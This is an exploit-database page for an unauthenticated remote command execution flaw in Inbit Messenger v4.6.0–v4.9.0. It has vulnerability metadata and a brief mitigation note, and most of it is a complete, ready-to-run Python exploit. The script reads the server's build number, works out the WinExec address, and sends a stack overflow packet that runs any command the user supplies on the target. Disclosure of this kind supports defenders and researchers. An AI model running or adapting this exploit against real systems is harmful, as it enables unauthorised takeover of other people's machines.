header-logo
Suggest Exploit
vendor:
Inbit Messenger
by:
a-rey
9.8
CVSS
CRITICAL
Remote Command Execution (RCE)
78
CWE
Product Name: Inbit Messenger
Affected Version From: v4.6.0
Affected Version To: v4.9.0
Patch Exists: YES
Related CWE:
CPE: a:inbit:inbit_messenger
Metasploit:
Other Scripts:
Platforms Tested: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019
2022

Inbit Messenger v4.9.0 – Unauthenticated Remote Command Execution (RCE)

Inbit Messenger v4.9.0 is vulnerable to unauthenticated remote command execution (RCE). An attacker can send a specially crafted packet to the target server to execute arbitrary commands on the target system. The packet contains a client build number of 4601 for v4.6.0. The server responds with the build number of the target system. The attacker can then use this build number to calculate the address of the WinExec function in the IMS.EXE module. The attacker can then send a specially crafted packet containing the address of the WinExec function and the command to be executed. The command is limited to a maximum length of 0xfc64 bytes.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update to the latest version of Inbit Messenger.
Source

Exploit-DB raw data:

# Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)
# Date: 11/08/2022
# Exploit Author: a-rey 
# Vendor Homepage: http://www.inbit.com/support.html
# Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html
# Version: v4.6.0 - v4.9.0
# Tested on: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys, socket, struct, string, argparse, logging

BANNER = """\033[0m\033[1;35m
╔══════════════════════════════════════════════════════════════════════════╗
║\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35m║
╚══════════════════════════════════════════════════════════════════════════╝\033[0m
 by: \033[1;36m █████╗      ██████╗ ███████╗██╗   ██╗
     \033[1;36m██╔══██╗     ██╔══██╗██╔════╝██║   ██║
     \033[1;36m███████║ ███ ██████╔╝█████╗   ██╗ ██═╝
     \033[1;36m██╔══██║     ██╔══██╗██╔══╝     ██╔╝  
     \033[1;36m██║  ██║     ██║  ██║███████╗   ██║   
     \033[1;36m╚═╝  ╚═╝     ╚═╝  ╚═╝╚══════╝   ╚═╝   
\033[0m"""

# NOTE: IAT addresses for KERNEL32!WinExec in IMS.EXE by build number
TARGETS = {
  4601 : 0x005f3360,
  4801 : 0x005f7364,
  4901 : 0x005f7364,
}

# NOTE: min and max values for length of command
CMD_MIN_LEN = 10
CMD_MAX_LEN = 0xfc64

# NOTE: these bytes cannot be in the calculated address of WinExec to ensure overflow
BAD_BYTES = b"\x3e" # >

def getWinExecAddress(targetIp:str, targetPort:int) -> bytes:
  # NOTE: send packet with client build number of 4601 for v4.6.0
  pkt = b"<50><0><IM><ID>7</ID><a>1</a><b>4601</b><c>1</c></IM>\x00"
  logging.info(f"trying to get version information from {targetIp}:{targetPort} ...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((targetIp, targetPort))
  s.send(pkt)
  _d = s.recv(1024)
  # find build tag in response
  if b'<c>' not in _d:
    logging.error(f"invalid version packet received: {_d}")
    sys.exit(-1)
  s.close()
  try:
    build = int(_d[_d.index(b'<c>') + 3:_d.index(b'</c>')])
  except:
    logging.error(f"failed to parse build number from packet: {_d}")
    sys.exit(-1)
  # get the IAT offset 
  if build not in TARGETS.keys():
    logging.error(f"unexpected build number: {build}")
    sys.exit(-1)
  # NOTE: we need to subtract 0x38 since the vulnerable instruction is 'CALL [EAX + 0x38]'
  winexec = struct.pack("<I", TARGETS[build] - 0x38)
  logging.success(f"target build number is {build}")
  logging.info(f"WinExec @ 0x{TARGETS[build] - 0x38:08x}")
  # sanity check for bad bytes in WinExec address
  for c in winexec:
    if c in BAD_BYTES:
      logging.error(f"found bad byte in WinExec address: 0x{TARGETS[build] - 0x38:08x}")
      sys.exit(-1)
  return winexec

def exploit(targetIp:str, targetPort:int, command:bytes) -> None:
  # NOTE: command must be NULL terminated
  command += b"\x00"
  # check user command length
  if len(command) < CMD_MIN_LEN:
    logging.error(f"command length must be at least {CMD_MIN_LEN} characters")
    sys.exit(-1)
  if len(command) >= CMD_MAX_LEN:
    logging.error(f"command length must be less than {CMD_MAX_LEN} characters")
    sys.exit(-1)
  # get WinExec address
  winexec = getWinExecAddress(targetIp, targetPort)
  # get a string representation of the length of the command data after the <> tag parsed by atol()
  pktLen = str(len(command))
  pkt  = b"<"            # start of XML tag/stack overflow
  pkt += pktLen.encode() # number parsed by atol() & length of command data following '>' character
  pkt += b"\x00"         # NULL terminator to force atol to ignore what comes next
  # NOTE: adjust the 85 byte offset calculated that assumes a 2 byte string passed to atol()
  pkt += (b"A" * (85 - (len(pktLen) - 2))) # padding up to function pointer overwrite
  pkt += winexec                           # indirect function pointer we control
  pkt += b">"                              # end of XML tag/stack overflow
  pkt += command                           # the command set to the call to WinExec()
  logging.info(f"sending payload to {targetIp}:{targetPort} ...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((targetIp, targetPort))
  s.send(pkt)
  s.close()
  logging.success("DONE")

if __name__ == '__main__':
  # parse arguments
  parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
  parser.add_argument('-t', '--target',  help='target IP',      type=str, required=True)
  parser.add_argument('-c', '--command', help='command to run', type=str, required=True)
  parser.add_argument('-p', '--port',    help='target port',    type=int, required=False, default=10883)
  args = parser.parse_args()
  # define logger
  logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')
  logging.SUCCESS = logging.CRITICAL + 1
  logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
  logging.addLevelName(logging.ERROR,   '\033[0m\033[1;31mFAIL\033[0m')
  logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
  logging.addLevelName(logging.INFO,    '\033[0m\033[1;36mINFO\033[0m')
  logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
  # print banner
  print(BANNER)
  # run exploit
  exploit(args.target, args.port, args.command.encode())